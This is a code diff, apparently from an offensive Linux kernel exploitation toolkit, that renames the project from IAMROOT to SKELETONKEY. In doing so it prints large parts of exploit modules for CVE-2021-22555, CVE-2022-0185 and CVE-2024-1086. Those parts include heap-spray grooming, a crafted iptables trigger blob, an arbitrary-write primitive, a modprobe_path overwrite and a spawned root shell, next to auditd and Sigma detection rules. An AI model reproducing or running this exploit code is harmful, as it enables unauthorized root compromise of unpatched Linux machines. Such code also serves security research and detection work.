||||
if (fr == SKELETONKEY_EXPLOIT_OK) {
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] fuse_legacy: --full-chain finisher did not land "
|
||||
"(arb-write sanity gate or modprobe sentinel refused)\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
|
||||
@@ -814,16 +814,16 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
||||
"popping root shell\n");
|
||||
}
|
||||
if (ctx->no_shell) {
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
execl("/bin/sh", "sh", "-i", (char *)NULL);
|
||||
perror("execl /bin/sh");
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
fprintf(stderr, "[-] fuse_legacy: trigger fired but cred-overwrite tail "
|
||||
"not wired — see source for the missing offsets.\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
@@ -832,13 +832,13 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
||||
static const char fuse_legacy_auditd[] =
|
||||
"# CVE-2022-0185 — auditd detection rules\n"
|
||||
"# Flag unshare(USER|NS) chained with fsopen/fsconfig from non-root.\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-fuse-legacy\n"
|
||||
"-a always,exit -F arch=b64 -S fsopen -k iamroot-fuse-legacy-fsopen\n"
|
||||
"-a always,exit -F arch=b64 -S fsconfig -k iamroot-fuse-legacy-fsconfig\n";
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-fuse-legacy\n"
|
||||
"-a always,exit -F arch=b64 -S fsopen -k skeletonkey-fuse-legacy-fsopen\n"
|
||||
"-a always,exit -F arch=b64 -S fsconfig -k skeletonkey-fuse-legacy-fsconfig\n";
|
||||
|
||||
static const char fuse_legacy_sigma[] =
|
||||
"title: Possible CVE-2022-0185 legacy_parse_param exploitation\n"
|
||||
"id: 9e1b2c45-iamroot-fuse-legacy\n"
|
||||
"id: 9e1b2c45-skeletonkey-fuse-legacy\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the canonical exploit shape: unprivileged process unshares\n"
|
||||
@@ -856,7 +856,7 @@ static const char fuse_legacy_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0185]\n";
|
||||
|
||||
const struct iamroot_module fuse_legacy_module = {
|
||||
const struct skeletonkey_module fuse_legacy_module = {
|
||||
.name = "fuse_legacy",
|
||||
.cve = "CVE-2022-0185",
|
||||
.summary = "legacy_parse_param fsconfig heap OOB → container-escape LPE",
|
||||
@@ -872,7 +872,7 @@ const struct iamroot_module fuse_legacy_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_fuse_legacy(void)
|
||||
void skeletonkey_register_fuse_legacy(void)
|
||||
{
|
||||
iamroot_register(&fuse_legacy_module);
|
||||
skeletonkey_register(&fuse_legacy_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* fuse_legacy_cve_2022_0185 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef FUSE_LEGACY_SKELETONKEY_MODULES_H
|
||||
#define FUSE_LEGACY_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module fuse_legacy_module;
|
||||
|
||||
#endif
|
||||
@@ -18,7 +18,7 @@ Upstream fix: mainline 5.12 / 5.11.10 (April 2021).
|
||||
Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 /
|
||||
4.9.266 / 4.4.266.
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
Userns+netns reach, hand-rolled `ipt_replace` blob, `setsockopt`
|
||||
`IPT_SO_SET_REPLACE` fires the 4-byte OOB at heap+0x4. msg_msg
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* netfilter_xtcompat_cve_2021_22555 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef NETFILTER_XTCOMPAT_IAMROOT_MODULES_H
|
||||
#define NETFILTER_XTCOMPAT_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module netfilter_xtcompat_module;
|
||||
|
||||
#endif
|
||||
+71
-71
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* netfilter_xtcompat_cve_2021_22555 — IAMROOT module
|
||||
* netfilter_xtcompat_cve_2021_22555 — SKELETONKEY module
|
||||
*
|
||||
* Heap-out-of-bounds in xt_compat_target_to_user(): the 32-bit
|
||||
* compat handler for iptables rule export wrote up to 4 bytes
|
||||
@@ -26,18 +26,18 @@
|
||||
* - Trigger sequence: hand-rolled iptables rule blob with
|
||||
* malformed xt_entry_target offset; setsockopt fires the OOB.
|
||||
* - Cross-cache groom: msg_msg sprays (kmalloc-2k slots) and
|
||||
* sk_buff sprays via socketpair+sendmmsg, both with IAMROOT
|
||||
* sk_buff sprays via socketpair+sendmmsg, both with SKELETONKEY
|
||||
* cookies for KASAN visibility.
|
||||
* - Empirical witness via msgrcv(MSG_COPY) + /proc/slabinfo
|
||||
* diff + /tmp/iamroot-xtcompat.log breadcrumb.
|
||||
* diff + /tmp/skeletonkey-xtcompat.log breadcrumb.
|
||||
* - With --full-chain: shared finisher (core/finisher.c) is
|
||||
* invoked to perform the modprobe_path overwrite + execve
|
||||
* unknown-binary trigger. Requires modprobe_path resolution
|
||||
* via core/offsets.c (env/kallsyms/System.map). Sentinel-file
|
||||
* check in the finisher is the empirical witness for the
|
||||
* write landing — IAMROOT never claims root unless it sees
|
||||
* write landing — SKELETONKEY never claims root unless it sees
|
||||
* the setuid bash drop with mode 4755 + uid 0.
|
||||
* - Without --full-chain: returns IAMROOT_EXPLOIT_FAIL after
|
||||
* - Without --full-chain: returns SKELETONKEY_EXPLOIT_FAIL after
|
||||
* the primitive demo (verified-vs-claimed bar).
|
||||
*
|
||||
* Affected: kernel 2.6.19+ until backports landed:
|
||||
@@ -56,7 +56,7 @@
|
||||
* (almost always autoload-able on default-config kernels)
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
@@ -94,7 +94,7 @@
|
||||
#endif
|
||||
|
||||
/* ---------- macOS / non-linux build stubs ---------------------------
|
||||
* IAMROOT modules are dev-built on macOS (clangd / syntax check) and
|
||||
* SKELETONKEY modules are dev-built on macOS (clangd / syntax check) and
|
||||
* run-built on Linux. The Linux-only types and IPT_SO_SET_REPLACE
|
||||
* constants are absent on Darwin; stub them so the .c file compiles
|
||||
* cleanly under either toolchain. The actual exploit body is gated
|
||||
@@ -152,12 +152,12 @@ static int can_unshare_userns(void)
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t netfilter_xtcompat_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] netfilter_xtcompat: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (v.major < 2 || (v.major == 2 && v.minor < 6)) {
|
||||
@@ -165,7 +165,7 @@ static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s predates the bug introduction\n",
|
||||
v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&netfilter_xtcompat_range, &v);
|
||||
@@ -173,7 +173,7 @@ static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s is patched\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
@@ -190,14 +190,14 @@ static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[+] netfilter_xtcompat: user_ns denied → "
|
||||
"unprivileged exploit path unreachable\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] netfilter_xtcompat: VULNERABLE — kernel in range "
|
||||
"AND user_ns reachable\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Exploit: userns reach + trigger + groom ---------------------- */
|
||||
@@ -252,11 +252,11 @@ static int xtcompat_msgmsg_spray(int queues[XTCOMPAT_SPRAY_QUEUES])
|
||||
struct xtcompat_payload *p = calloc(1, sizeof(*p));
|
||||
if (!p) return 0;
|
||||
p->mtype = 0x42;
|
||||
/* 0x41 ('A') fill with leading "IAMROOT2" cookie so adjacent-
|
||||
* slot corruption is recognizable in /tmp/iamroot-xtcompat.log
|
||||
/* 0x41 ('A') fill with leading "SKELETONKEY2" cookie so adjacent-
|
||||
* slot corruption is recognizable in /tmp/skeletonkey-xtcompat.log
|
||||
* and in KASAN/oops dumps. */
|
||||
memset(p->buf, 0x41, sizeof p->buf);
|
||||
memcpy(p->buf, "IAMROOT2", 8);
|
||||
memcpy(p->buf, "SKELETONKEY2", 8);
|
||||
|
||||
int created = 0;
|
||||
for (int i = 0; i < XTCOMPAT_SPRAY_QUEUES; i++) {
|
||||
@@ -278,7 +278,7 @@ static int xtcompat_msgmsg_spray(int queues[XTCOMPAT_SPRAY_QUEUES])
|
||||
}
|
||||
|
||||
/* Walk every queue, peek-copy each message (MSG_COPY = read without
|
||||
* dequeue), and look for any whose first 8 bytes are NOT "IAMROOT2".
|
||||
* dequeue), and look for any whose first 8 bytes are NOT "SKELETONKEY2".
|
||||
* A non-matching prefix is the empirical witness for the OOB write
|
||||
* landing in an adjacent slot. Returns the count of corrupted slots. */
|
||||
static int xtcompat_msgmsg_witness(int queues[XTCOMPAT_SPRAY_QUEUES])
|
||||
@@ -292,7 +292,7 @@ static int xtcompat_msgmsg_witness(int queues[XTCOMPAT_SPRAY_QUEUES])
|
||||
ssize_t n = msgrcv(queues[i], p, sizeof p->buf, 0,
|
||||
MSG_COPY | IPC_NOWAIT | 0x2000 /* MSG_NOERROR */);
|
||||
if (n < 0) break;
|
||||
if (memcmp(p->buf, "IAMROOT2", 8) != 0) {
|
||||
if (memcmp(p->buf, "SKELETONKEY2", 8) != 0) {
|
||||
corrupted++;
|
||||
}
|
||||
}
|
||||
@@ -324,7 +324,7 @@ static void xtcompat_skb_spray(int iters)
|
||||
unsigned char *buf = malloc(1800);
|
||||
if (!buf) { close(sv[0]); close(sv[1]); return; }
|
||||
memset(buf, 0x41, 1800);
|
||||
memcpy(buf, "IAMROOTSKB", 10);
|
||||
memcpy(buf, "SKELETONKEYSKB", 10);
|
||||
struct iovec iov = { .iov_base = buf, .iov_len = 1800 };
|
||||
struct mmsghdr mm[32];
|
||||
for (int i = 0; i < 32; i++) {
|
||||
@@ -395,10 +395,10 @@ static bool xtcompat_build_blob(unsigned char **out_buf, size_t *out_len)
|
||||
|
||||
/* Plant a recognizable marker so a vulnerable kernel's compat
|
||||
* decoder reads our crafted entry rather than zeroed memory.
|
||||
* Marker is intentionally "IAMROOT\0" so a KASAN report's hex
|
||||
* Marker is intentionally "SKELETONKEY\0" so a KASAN report's hex
|
||||
* dump points back here. */
|
||||
unsigned char *entry_region = blob + sizeof(*r);
|
||||
memcpy(entry_region, "IAMROOTX", 8);
|
||||
memcpy(entry_region, "SKELETONKEYX", 8);
|
||||
/* The xt_entry_target sits at entry_region + sizeof(ipt_entry).
|
||||
* Its `u.target_size` field is the lever Andy bends to underflow
|
||||
* the pad-out write: setting target_size to a value such that
|
||||
@@ -524,7 +524,7 @@ struct xtcompat_arb_ctx {
|
||||
uid_t outer_uid;
|
||||
gid_t outer_gid;
|
||||
|
||||
/* Per-call statistics for /tmp/iamroot-xtcompat.log. */
|
||||
/* Per-call statistics for /tmp/skeletonkey-xtcompat.log. */
|
||||
int arb_calls;
|
||||
int arb_landed;
|
||||
};
|
||||
@@ -541,7 +541,7 @@ static int xtcompat_arb_seed_target(struct xtcompat_arb_ctx *c,
|
||||
if (!p) return 0;
|
||||
p->mtype = 0x43;
|
||||
memset(p->buf, 0x41, sizeof p->buf);
|
||||
memcpy(p->buf, "IAMROOTW", 8);
|
||||
memcpy(p->buf, "SKELETONKEYW", 8);
|
||||
/* Plant the target address at every 0x800-aligned slot inside
|
||||
* the payload, so wherever the kernel's m_list_next sits
|
||||
* relative to our payload base, the candidate value is present. */
|
||||
@@ -640,48 +640,48 @@ static int xtcompat_arb_write(uintptr_t kaddr,
|
||||
|
||||
/* ---- Exploit driver ---------------------------------------------- */
|
||||
|
||||
static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* 1. Refuse-gate: re-confirm vulnerability through detect(). */
|
||||
iamroot_result_t pre = netfilter_xtcompat_detect(ctx);
|
||||
if (pre == IAMROOT_OK && geteuid() == 0) {
|
||||
skeletonkey_result_t pre = netfilter_xtcompat_detect(ctx);
|
||||
if (pre == SKELETONKEY_OK && geteuid() == 0) {
|
||||
fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: --i-know not passed; refusing\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#ifndef __linux__
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: linux-only exploit; non-linux build\n");
|
||||
(void)ctx;
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
/* Full-chain pre-check: resolve offsets before forking. If
|
||||
* modprobe_path can't be resolved, refuse early with the manual-
|
||||
* workflow help — no point doing the userns + spray + trigger
|
||||
* dance if we can't finish. */
|
||||
struct iamroot_kernel_offsets off;
|
||||
struct skeletonkey_kernel_offsets off;
|
||||
bool full_chain_ready = false;
|
||||
if (ctx->full_chain) {
|
||||
memset(&off, 0, sizeof off);
|
||||
iamroot_offsets_resolve(&off);
|
||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
||||
iamroot_finisher_print_offset_help("netfilter_xtcompat");
|
||||
skeletonkey_offsets_resolve(&off);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||
skeletonkey_finisher_print_offset_help("netfilter_xtcompat");
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: --full-chain requested but "
|
||||
"modprobe_path offset unresolved; refusing\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
iamroot_offsets_print(&off);
|
||||
skeletonkey_offsets_print(&off);
|
||||
full_chain_ready = true;
|
||||
}
|
||||
|
||||
@@ -705,7 +705,7 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
||||
pid_t child = fork();
|
||||
if (child < 0) {
|
||||
perror("fork");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (child == 0) {
|
||||
@@ -771,7 +771,7 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
||||
long post_slab = slab_active_kmalloc_2k();
|
||||
|
||||
/* Breadcrumb for post-run triage. */
|
||||
FILE *log = fopen("/tmp/iamroot-xtcompat.log", "w");
|
||||
FILE *log = fopen("/tmp/skeletonkey-xtcompat.log", "w");
|
||||
if (log) {
|
||||
fprintf(log,
|
||||
"netfilter_xtcompat trigger child: queues=%d trig_errno=%d "
|
||||
@@ -810,20 +810,20 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
||||
.arb_calls = 0,
|
||||
.arb_landed = 0,
|
||||
};
|
||||
int fr = iamroot_finisher_modprobe_path(&off,
|
||||
int fr = skeletonkey_finisher_modprobe_path(&off,
|
||||
xtcompat_arb_write,
|
||||
&arb_ctx,
|
||||
!ctx->no_shell);
|
||||
/* If the finisher execve'd a root shell, we never get
|
||||
* here. Otherwise it returned EXPLOIT_FAIL / OK. */
|
||||
FILE *fl = fopen("/tmp/iamroot-xtcompat.log", "a");
|
||||
FILE *fl = fopen("/tmp/skeletonkey-xtcompat.log", "a");
|
||||
if (fl) {
|
||||
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
|
||||
fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
|
||||
fclose(fl);
|
||||
}
|
||||
xtcompat_msgmsg_drain(queues);
|
||||
if (fr == IAMROOT_EXPLOIT_OK) _exit(34);
|
||||
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34);
|
||||
_exit(35);
|
||||
}
|
||||
/* Primitive-only mode: still NOT root — but it's the
|
||||
@@ -836,11 +836,11 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
||||
_exit(30);
|
||||
}
|
||||
|
||||
/* PARENT: reap child + map exit code → iamroot_result. */
|
||||
/* PARENT: reap child + map exit code → skeletonkey_result. */
|
||||
int status = 0;
|
||||
if (waitpid(child, &status, 0) < 0) {
|
||||
perror("waitpid");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (WIFSIGNALED(status)) {
|
||||
@@ -850,14 +850,14 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
||||
"(crash during trigger — OOB likely fired)\n", sig);
|
||||
fprintf(stderr, "[~] netfilter_xtcompat: empirical OOB witness but no "
|
||||
"cred-overwrite primitive — returning EXPLOIT_FAIL\n"
|
||||
" See /tmp/iamroot-xtcompat.log + dmesg for KASAN/oops.\n");
|
||||
" See /tmp/skeletonkey-xtcompat.log + dmesg for KASAN/oops.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!WIFEXITED(status)) {
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: child terminated abnormally (status=0x%x)\n",
|
||||
status);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int rc = WEXITSTATUS(status);
|
||||
@@ -866,25 +866,25 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: userns setup failed (rc=%d)\n", rc);
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
case 22:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: msg_msg spray failed; sysvipc may be "
|
||||
"restricted (kernel.msg_max / ulimit -q)\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
case 23:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: CAP_NET_ADMIN unreachable in userns — "
|
||||
"exploit path closed\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
case 24:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: socket/blob setup failed; "
|
||||
"see preceding errno\n");
|
||||
}
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
case 30:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] netfilter_xtcompat: trigger ran; no msg_msg corruption "
|
||||
@@ -892,19 +892,19 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
||||
fprintf(stderr, "[~] netfilter_xtcompat: returning EXPLOIT_FAIL (primitive "
|
||||
"may have fired but did not land on sprayed slots)\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
case 31:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] netfilter_xtcompat: kernel rejected blob with EINVAL — "
|
||||
"appears patched at runtime (validator)\n");
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
case 32:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] netfilter_xtcompat: setsockopt EPERM — CAP_NET_ADMIN "
|
||||
"not effective in userns on this kernel\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
case 33:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] netfilter_xtcompat: msg_msg slot corruption WITNESSED — "
|
||||
@@ -918,38 +918,38 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
||||
" attacker-controlled — read-where via msgrcv.\n"
|
||||
" 2. Use that leak to find &init_task and\n"
|
||||
" modprobe_path in kernel .data — both offsets\n"
|
||||
" are per-kernel-build and IAMROOT refuses to\n"
|
||||
" are per-kernel-build and SKELETONKEY refuses to\n"
|
||||
" bake them.\n"
|
||||
" 3. Pivot to a write-where via a fake msg_msgseg\n"
|
||||
" and overwrite modprobe_path → exec a setuid\n"
|
||||
" helper for root pop.\n"
|
||||
" See Andy Nguyen's writeup for the full chain.\n");
|
||||
}
|
||||
if (ctx->no_shell) return IAMROOT_OK;
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
if (ctx->no_shell) return SKELETONKEY_OK;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
case 34:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] netfilter_xtcompat: --full-chain finisher reported "
|
||||
"EXPLOIT_OK (sentinel setuid bash dropped)\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
case 35:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: --full-chain finisher returned "
|
||||
"FAIL (sentinel not observed within timeout)\n"
|
||||
" See /tmp/iamroot-xtcompat.log for arb_calls/arb_landed\n");
|
||||
" See /tmp/skeletonkey-xtcompat.log for arb_calls/arb_landed\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
default:
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: child exit %d unexpected\n", rc);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
}
|
||||
|
||||
/* ---- Cleanup ----------------------------------------------------- */
|
||||
|
||||
static iamroot_result_t netfilter_xtcompat_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t netfilter_xtcompat_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] netfilter_xtcompat: removing log + best-effort msg queue cleanup\n");
|
||||
@@ -957,10 +957,10 @@ static iamroot_result_t netfilter_xtcompat_cleanup(const struct iamroot_ctx *ctx
|
||||
/* The msg queues live in the child's IPC namespace which dies
|
||||
* with the child — so the in-process drain already handled them.
|
||||
* The /tmp breadcrumb survives, remove it here. */
|
||||
if (unlink("/tmp/iamroot-xtcompat.log") < 0 && errno != ENOENT) {
|
||||
if (unlink("/tmp/skeletonkey-xtcompat.log") < 0 && errno != ENOENT) {
|
||||
/* harmless */
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ---- Detection rules --------------------------------------------- */
|
||||
@@ -970,12 +970,12 @@ static const char netfilter_xtcompat_auditd[] =
|
||||
"# The exploit's hallmarks: unshare(USER|NET) chained with iptables\n"
|
||||
"# rule setup via setsockopt(SOL_IP, IPT_SO_SET_REPLACE=64) and\n"
|
||||
"# msgsnd/msgrcv heap-spray patterns.\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-xtcompat\n"
|
||||
"-a always,exit -F arch=b64 -S setsockopt -F a1=0 -F a2=64 -k iamroot-xtcompat-iptopt\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-xtcompat-msgmsg\n"
|
||||
"-a always,exit -F arch=b64 -S msgrcv -k iamroot-xtcompat-msgmsg\n";
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-xtcompat\n"
|
||||
"-a always,exit -F arch=b64 -S setsockopt -F a1=0 -F a2=64 -k skeletonkey-xtcompat-iptopt\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-xtcompat-msgmsg\n"
|
||||
"-a always,exit -F arch=b64 -S msgrcv -k skeletonkey-xtcompat-msgmsg\n";
|
||||
|
||||
const struct iamroot_module netfilter_xtcompat_module = {
|
||||
const struct skeletonkey_module netfilter_xtcompat_module = {
|
||||
.name = "netfilter_xtcompat",
|
||||
.cve = "CVE-2021-22555",
|
||||
.summary = "iptables xt_compat_target_to_user 4-byte heap-OOB write → cross-cache UAF → root",
|
||||
@@ -991,7 +991,7 @@ const struct iamroot_module netfilter_xtcompat_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_netfilter_xtcompat(void)
|
||||
void skeletonkey_register_netfilter_xtcompat(void)
|
||||
{
|
||||
iamroot_register(&netfilter_xtcompat_module);
|
||||
skeletonkey_register(&netfilter_xtcompat_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* netfilter_xtcompat_cve_2021_22555 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef NETFILTER_XTCOMPAT_SKELETONKEY_MODULES_H
|
||||
#define NETFILTER_XTCOMPAT_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module netfilter_xtcompat_module;
|
||||
|
||||
#endif
|
||||
@@ -16,7 +16,7 @@ GitHub: <https://github.com/Notselwyn/CVE-2024-1086>
|
||||
Upstream fix: mainline 6.8-rc1 (commit `f342de4e2f33`, Jan 2024).
|
||||
Stable backports throughout Q1 2024.
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
This module fires the malformed-verdict trigger (NFT_GOTO + NFT_DROP
|
||||
in the same verdict) via a hand-rolled nfnetlink batch — no libmnl
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* nf_tables_cve_2024_1086 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef NF_TABLES_IAMROOT_MODULES_H
|
||||
#define NF_TABLES_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module nf_tables_module;
|
||||
|
||||
#endif
|
||||
+52
-52
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* nf_tables_cve_2024_1086 — IAMROOT module
|
||||
* nf_tables_cve_2024_1086 — SKELETONKEY module
|
||||
*
|
||||
* Netfilter nf_tables UAF when NFT_GOTO/NFT_JUMP verdicts coexist
|
||||
* with NFT_DROP/NFT_QUEUE. Triggers a double-free → cross-cache UAF
|
||||
@@ -13,11 +13,11 @@
|
||||
* (table → chain → set → rule with the NFT_GOTO+NFT_DROP combo
|
||||
* that nft_verdict_init() fails to reject on vulnerable kernels),
|
||||
* fires the double-free path, runs the msg_msg cg-96 groom, and
|
||||
* returns IAMROOT_EXPLOIT_FAIL (primitive-only behavior).
|
||||
* returns SKELETONKEY_EXPLOIT_FAIL (primitive-only behavior).
|
||||
